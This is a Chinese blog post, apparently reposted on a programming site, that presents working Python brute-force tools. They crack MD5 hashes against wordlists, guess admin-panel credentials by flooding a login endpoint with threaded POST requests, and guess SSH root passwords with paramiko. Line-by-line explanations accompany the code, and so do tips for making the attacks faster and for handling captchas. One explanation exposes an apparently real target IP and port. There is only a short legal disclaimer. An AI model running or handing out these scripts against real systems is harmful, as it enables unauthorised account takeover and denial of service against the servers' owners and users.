《系统爆破:MD5易破,后台登录可爆破?》

news2025/1/14 18:38:42

声明:笔记的只是方便各位师傅学习知识,以下代码、网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负。

爆破Sales系统

一、爆破MD5 场景:已知MD5的加密字符串,如何得知明文?

解决方案:

算法碰撞:一串128位的MD5(32位16进制),其组合数量:2^128 字典碰撞:给定一个字典文件,读取里面的密钥明文,对其进行MD5加密,再和目标字符串进行对比,如果相同,则明文找到。

二、爆破后台

  1. 验证登录请求

  2. 已知用户名,爆破密码

  3. 未知用户名,未知密码爆破

三、爆破条件与防范

  1. 登录成功或失败的条件可验证

  2. 服务器端允许多次失败登录而不会禁止

基于md5爆破-源码

import hashlib
import threading
import time
import requests


# 爆破md5
def md5(source):
    with open('字典/常见字典1000.txt') as file:
        pw_list = file.readlines()
    with open('字典/数字字母符号型1000+.txt') as file:
        pw_list2 = file.readlines()
    # 追加字典
    pw_list.extend(pw_list2)
    # 遍历列表,逐个对比
    for password in pw_list:
        if hashlib.md5(password.strip().encode()).hexdigest() == source:
            print(f'成功破解,密码是:{password.strip()}')


# 爆破某后台——仅爆破密码
# 单线程爆破
def ws_single():
    with open('字典/常见字典1000.txt') as file:
        pw_list = file.readlines()
    url = 'http://111.21.xxx.xxx:9090/login'

    count = 0
    for password in pw_list:
        data = {'username': 'admin', 'password': password.strip(), 'rememberMe': 'false'}  # 有时有验证码,需要另外操作
        resp = requests.post(url=url, data=data)
        if '{"msg":"用户不存在/密码错误","code":500}' not in resp.text:
            print(f'可能成功,密码为:{password.strip()}')
        count += 1
    print(f'共计尝试{count}次')
    exit()


# 同时,由于多线程并发登录,导致服务器压力剧增(DOS),进而服务器的响应时间会显著变慢
# 爆破某后台——不知账号不知密码
# 多线程爆破
count = 0


def ws_thread(username):
    with open('字典/常见弱口令字典1000.txt') as file:
        pw_list = file.readlines()
    url = 'http://111.21.xxx.xxx:9090/login'
    global count
    for password in pw_list:
        data = {'username': username, 'password': password.strip(), 'rememberMe': 'false'}  # 有时有验证码,需要另外操作
        resp = requests.post(url=url, data=data)
        if '{"msg":"用户不存在/密码错误","code":500}' not in resp.text:
            print(f'可能成功,账号为:{username.strip()}密码为:{password.strip()}')
            exit()
        count += 1
    print(f'共计尝试{count}次')


# 如果用户字典有5000条怎么处理


if __name__ == '__main__':
    # md5('cbb11ed87dc8a95d81400c7f33c7c171')
    with open('字典/2017_top100.txt') as file:
        user_list = file.readlines()
    for username in user_list:
        threading.Thread(target=ws_thread, args=(username.strip(),)).start()

基于md5爆破-源码

这段代码的主要目的是通过暴力破解的方式来尝试恢复MD5哈希值对应的明文密码,以及尝试登录到一个后台系统。以下是对代码的详细分析:

1. 导入必要的库

import hashlib
import threading
import time
import requests
  • hashlib:用于计算MD5哈希值。

  • threading:用于实现多线程,提高爆破效率。

  • time:用于时间相关的操作(虽然在这个代码中没有使用)。

  • requests:用于发送HTTP请求。

2. 爆破MD5

def md5(source):
    with open('字典/常见弱口令字典1000.txt') as file:
        pw_list = file.readlines()
    with open('字典/数字字母符号型1000+.txt') as file:
        pw_list2 = file.readlines()
    pw_list.extend(pw_list2)
    for password in pw_list:
        if hashlib.md5(password.strip().encode()).hexdigest() == source:
            print(f'成功破解,密码是:{password.strip()}')
  • 读取两个字典文件中的密码列表。

  • 将两个列表合并。

  • 遍历每个密码,计算其MD5哈希值并与目标哈希值进行比较。

  • 如果匹配成功,打印出密码。

3. 单线程爆破后台密码

def ws_single():
    with open('字典/常见弱口令字典1000.txt') as file:
        pw_list = file.readlines()
    url = 'http://111.21.250.30:9090/login'
    count = 0
    for password in pw_list:
        data = {'username': 'admin', 'password': password.strip(), 'rememberMe': 'false'}
        resp = requests.post(url=url, data=data)
        if '{"msg":"用户不存在/密码错误","code":500}' not in resp.text:
            print(f'可能成功,密码为:{password.strip()}')
        count += 1
    print(f'共计尝试{count}次')
    exit()
  • 读取密码字典。

  • 对指定的URL发送POST请求,尝试登录。

  • 如果响应中不包含错误信息,认为登录可能成功。

  • 统计尝试次数并退出。

4. 多线程爆破后台账号密码

count = 0

def ws_thread(username):
    global count
    with open('字典/常见弱口令字典1000.txt') as file:
        pw_list = file.readlines()
    url = 'http://111.21.250.30:9090/login'
    for password in pw_list:
        data = {'username': username, 'password': password.strip(), 'rememberMe': 'false'}
        resp = requests.post(url=url, data=data)
        if '{"msg":"用户不存在/密码错误","code":500}' not in resp.text:
            print(f'可能成功,账号为:{username.strip()}密码为:{password.strip()}')
            exit()
        count += 1
    print(f'共计尝试{count}次')

if __name__ == '__main__':
    with open('字典/2017_top100.txt') as file:
        user_list = file.readlines()
    for username in user_list:
        threading.Thread(target=ws_thread, args=(username.strip(),)).start()
  • 读取用户名字典。

  • 对每个用户名启动一个线程,尝试使用密码字典中的密码进行登录。

  • 如果登录成功,打印出用户名和密码并退出。

  • 使用全局变量count统计尝试次数。

注意事项和潜在问题

  1. 法律和道德问题:未经授权的暴力破解行为是违法的,可能会导致严重的法律后果。

  2. 性能问题:多线程爆破会显著增加服务器的压力,可能导致服务器响应变慢甚至崩溃。

  3. 安全性问题:代码中没有处理验证码等安全措施,实际应用中可能需要额外的处理。

  4. 错误处理:代码中没有对网络请求的异常进行处理,可能会导致程序崩溃。

改进建议

  1. 增加异常处理:对网络请求和其他可能出现的异常进行处理,提高程序的健壮性。

  2. 优化多线程:可以考虑使用线程池来管理线程,避免创建过多线程导致系统资源耗尽。

  3. 增加延迟:在每次请求之间增加适当的延迟,减少对服务器的压力。

  4. 处理验证码:如果目标系统有验证码,需要实现验证码的处理逻辑。

这段代码展示了暴力破解的基本思路,但在实际应用中需要非常谨慎,确保有合法的授权和充分的准备。

ssh多线程爆破—源码

import time
import requests
import threading
import hashlib

# 每个任务分10条
count = 0

def threads(sublist):
    with open('字典/常见弱口令字典1000.txt') as file:
        pw_list = file.readlines()
    url = 'http://111.21.xxx.xxx:9090/login'
    global count
    for username in sublist:
        for password in pw_list:
            data = {'username': username.strip(), 'password': password.strip(), 'rememberMe': 'false'}  # 有时有验证码,需要另外操作
            resp = requests.post(url=url, data=data)
            if '{"msg":"用户不存在/密码错误","code":500}' not in resp.text:
                print(f'可能成功,账号为:{username.strip()}密码为:{password.strip()}')
            count += 1
        print(f'共计尝试{count}次')
        exit()


# 爆破ssh
import paramiko


def ssh_creak():
    with open('字典/2017_top100.txt') as file:
        pw_list = file.readlines()

    for password in pw_list:
        try:
            transport = paramiko.Transport(('192.168.xxx.xxx', 22))
            transport.connect(username='root', password=password.strip())
            print(f"请求登录,密码为:{password.strip()}")
        except:
            pass
        time.sleep(2)
            # ssh = paramiko.SSHException()
            # ssh._transport = transport


if __name__ == '__main__':
    # 每个线程负责10个用户
    # with open('字典/常见字典1000.txt') as file:
    #     user_list = file.readlines()
    # for i in range(0, len(user_list), 10):
    #     sublist = user_list[i:i + 10]
    #     threading.Thread(target=threads, args=(sublist,)).start()
    ssh_creak()

ssh多线程爆破—源码解析

这段代码主要实现了两个功能:一是对指定URL的登录接口进行暴力破解尝试,二是尝试使用密码字典对SSH服务进行暴力破解。

一、登录接口暴力破解部分

  1. 全局变量与函数定义
    • 定义了全局变量count用于计数尝试次数。

    • threads函数接受一个用户名子列表作为参数。
      • 函数内部首先打开包含密码的字典文件常见字典1000.txt,读取其中的密码列表pw_list

      • 设定目标登录接口的urlhttp://111.21.xxx.xxx:9090/login

      • 对于子列表中的每个用户名,遍历密码列表。
        • 构造包含用户名、密码和rememberMe字段(值为false)的data字典。

        • 使用requests.post方法向目标url发送登录请求。

        • 如果响应文本中不包含表示用户不存在或密码错误的特定字符串{"msg":"用户不存在/密码错误","code":500},则认为可能是正确的账号密码组合并打印出来。

        • 每次尝试后count加1,并在处理完一个用户名的所有密码尝试后打印出总的尝试次数,然后退出程序。

  2. 多线程相关(被注释部分)
    • 原本计划是读取用户名字典文件(如常见字典1000.txt),将用户名列表按每10个一组划分成子列表。

    • 针对每个子列表启动一个线程,线程的目标函数为threads,并传入相应的子列表作为参数。

二、SSH暴力破解部分

  1. ssh_creak函数
    • 打开名为2017_top100.txt的密码字典文件,读取其中的密码列表pw_list

    • 对于密码列表中的每个密码:
      • 尝试使用paramiko.Transport建立到192.168.xxx.xxx地址的SSH连接,端口为22,用户名固定为root,密码为当前尝试的密码。

      • 如果连接成功(即没有抛出异常),则打印出正在尝试的密码。

      • 无论连接是否成功,都会暂停2秒(time.sleep(2)),这可能是为了避免过于频繁的连接尝试导致被目标主机封禁。

三、整体代码的问题与风险

  1. 效率问题
    • 在登录接口暴力破解部分,每次处理完一个用户名就退出程序,这可能不是预期的行为,如果是多线程执行,这样会导致只有一个线程执行完就结束整个程序。

    • 对于SSH暴力破解部分,没有使用多线程或多进程来加速尝试过程,在密码字典较大时效率会很低。

  2. 安全性与合规性问题
    • 这种暴力破解行为如果没有得到目标系统的授权,是不道德且可能违反法律法规的行为。

    • 在实际应用中,目标系统可能会有各种防护措施,如验证码、登录失败次数限制等,这段代码没有考虑这些情况。

四、改进建议

  1. 修复多线程逻辑
    • 如果要使用多线程进行登录接口的暴力破解,应该修正线程启动部分的代码,确保所有线程都能正常执行而不是只执行一个就退出。

  2. 优化SSH暴力破解效率
    • 可以考虑使用多线程或多进程来提高SSH密码尝试的速度,但要注意遵守法律法规和目标系统的使用规则。

  3. 增加防护措施应对机制
    • 如果是在合法的安全测试场景下,应该增加代码来处理目标系统可能存在的验证码、登录失败次数限制等情况。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2276066.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

《Spring Framework实战》14:4.1.4.5.自动装配合作者

欢迎观看《Spring Framework实战》视频教程 自动装配合作者 Spring容器可以自动连接协作bean之间的关系。您可以通过检查ApplicationContext的内容,让Spring自动为您的bean解析协作者(其他bean)。自动装配具有以下优点: 自动装配…

GitLab CI/CD使用runner实现自动化部署前端Vue2 后端.Net 7 Zr.Admin项目

1、查看gitlab版本 建议安装的runner版本和gitlab保持一致 2、查找runner 执行 yum list gitlab-runner --showduplicates | sort -r 找到符合gitlab版本的runner,我这里选择 14.9.1版本 如果执行出现找不到下载源,添加官方仓库 执行 curl -L &quo…

冒泡排序基础与实现

目录 1. 原理图 ​编辑 2. 什么是冒泡排序 3. 工作原理 3.1 具体步骤 3.2 时间复杂度 3.3 空间复杂度 4. 代码实现 5. 总结 1. 原理图 2. 什么是冒泡排序 冒泡排序(Bubble Sort)是一种简单的排序算法,它通过重复地遍历要排序的列表&am…

acwing_5722_十滴水

acwing_5722_十滴水 下面这篇大佬的题解属实是把指针用明白了&#xff0c;可以好好理解一下&#xff1a; 原题解连接&#xff1a;AcWing 5722. 一个简单模拟实现 - AcWing map/unordered_map的用法:见收藏夹 #include<iostream> #include<unordered_map> #incl…

【AI进化论】 AI微信机器人 | sealos + 智能微秘书 打造AI机器人 | 智能微秘书配置教程

一、sealos 什么是sealos &#xff1f; One cloud OS for all applications 1、创建sealos账号密码 根据链接&#xff08;帮我凑点sealos使用额度感谢&#xff09;&#xff1a;https://cloud.sealos.run/?uidXfUpoQk92c 登录后如下页面&#xff1a; 2、创建应用 点击【应…

Agentless:OpenAI 采用的非代理框架

不需要代理库来解决复杂的业务问题。Agentless 是OpenAI采用的非代理框架&#xff0c;用于在 o3 的 SWE Bench 上实现最高精度。SWE-bench 是 github的真实软件工程问题基准。Agentless 遵循简单的三阶段流程&#xff1a;本地化、修复和补丁验证&#xff1a; 1 ⃣生成存储库的…

Model-based RL自动出价算法的演进之路

▐ 导读 近年来&#xff0c;强化学习自动出价算法已成为智能投放领域的标志性技术&#xff0c;然而其所存在的在离线不一致、线上数据覆盖空间受限等关键问题尚未被完全解决。在本文中&#xff0c;我们提出一种Model-based RL&#xff08;MBRL&#xff09;自动出价算法训练新范…

【Cocos TypeScript 零基础 7.1】

目录 重写 小结一下心得页面跳转背景移动精简 player敌机精灵 重写 小结一下心得 本人重写了整个项目 有了点小心得 页面跳转 director.loadScene(s2)背景移动 canvas 是画布 为什么要向上图布局? 方便计算相对坐标,脚本还是只写一个 绑定上 BG 一样跑,不影响 export cl…

鸿蒙UI(ArkUI-方舟UI框架)

参考&#xff1a;https://developer.huawei.com/consumer/cn/doc/harmonyos-guides-V13/arkts-layout-development-overview-V13 ArkUI简介 ArkUI&#xff08;方舟UI框架&#xff09;为应用的UI开发提供了完整的基础设施&#xff0c;包括简洁的UI语法、丰富的UI功能&#xff…

禅道使用实践(2)-产品篇

前言 本文目的皆在指导产品团队使用禅道基于实操完成产品&#xff0c;项目的创建&#xff0c;需求汇总&#xff0c;版本规划&#xff0c;以及验收发布的基本流程。希望能帮助到首次使用禅道而不知道从何下手的团队。 基本概念 此章节内容与我上一篇的开发篇相同&#xff0c;从…

js逆向说明

一 负载的内容传输用这个格式 Content-Type: multipart/form-data Content-Type 是 HTTP 请求头中的一个字段&#xff0c;它告诉服务器请求体的类型。在这个例子中&#xff0c;Content-Type 的值为 multipart/form-data&#xff0c;这表示请求体采用了 multipart/form-data 格…

django基于Python的汽车销售管理系统的设计与实现

Django 基于 Python 的汽车销售管理系统的设计与实现 一、系统概述 Django 基于 Python 的汽车销售管理系统是一款专为汽车销售企业打造的综合性信息化管理平台。该系统借助 Django 框架的高效性、安全性以及 Python 语言丰富的库和工具&#xff0c;全面覆盖汽车销售业务的各…

计算机网络相关习题整理

第一讲 传输媒介 【知识点回顾】 两种导线可以减小电磁干扰&#xff1a; 双绞线&#xff08;分为非屏蔽双绞线、屏蔽双绞线&#xff09;&#xff08;RJ-45用&#xff09;同轴电缆&#xff08;短距离使用&#xff09;网络通信的基本单位&#xff1a;位&#xff08;bit&#xff…

HTTPS SSL/TLS 工作流程

目录 一、HTTP/HTTPS 简介1、HTTP协议相关内容2、HTTPS协议3、HTTP版本差异&#xff1a; 二、HTTPS 协议工作流程解析1. 客户端请求 SSL 握手2. 服务端接收 SSL 握手连接3. TLS 握手中的密钥协商4. HTTP 数据的加密与解密5. 安全性保障 三、HTTPS 协议的相关知识拓展1. TLS 与 …

SpringBoot项目实战(39)--Beetl网页HTML文件中静态图片及CSS、JS文件的引用和展示

使用Beetl开发网页时&#xff0c;在网页中使用的CSS、JS、图片等静态资源需要进行适当的配置才可以展示。大致的过程如下&#xff1a; &#xff08;1&#xff09;首先Spring Security框架需要允许js、css、图片资源免授权访问。 &#xff08;2&#xff09;网站开发时&#xff0…

node_exporter 安装

cd /root/node_exporter wget https://github.com/prometheus/node_exporter/releases/download/v1.7.0/node_exporter-1.7.0.linux-amd64.tar.gz tar xvfz node_exporter-1.7.0.linux-amd64.tar.gz #运行 cd /root/node_exporter/node_exporter-1.7.0.linux-amd64 ./node_exp…

【STM32-学习笔记-4-】PWM、输入捕获(PWMI)

文章目录 1、PWMPWM配置 2、输入捕获配置3、编码器 1、PWM PWM配置 配置时基单元配置输出比较单元配置输出PWM波的端口 #include "stm32f10x.h" // Device headervoid PWM_Init(void) { //**配置输出PWM波的端口**********************************…

【复习小结】1-13

数学追求更简洁的表达&#xff0c;计算机追求更简单的表达。数据结构把数学的逻辑结构放进计算器的存储器。 DAY4 闰年的计算 布尔类型是一种数据类型&#xff0c;用于表示逻辑值的简单类型&#xff0c;它的值只能是真&#xff08;true&#xff09;或假&#xff08;false&…

VSCode连接Github的重重困难及解决方案!

一、背景&#xff1a; 我首先在github创建了一个新的项目&#xff0c;并自动创建了readme文件其次在vscode创建项目并写了两个文件在我想将vscode的项目上传到对应的github上时&#xff0c;错误出现了 二、报错及解决方案&#xff1a; 1.解决方案&#xff1a; 需要在git上配置用…

vue-cli项目配置使用unocss

在了解使用了Unocss后&#xff0c;就完全被它迷住了。接手过的所有项目都配置使用了它&#xff0c;包括一些旧项目&#xff0c;也跟同事分享了使用Unocss的便捷性。 这里分享一下旧项目如何配置和使用Unocss的&#xff0c;项目是vue2vue-cli构建的&#xff0c;node<20平常开…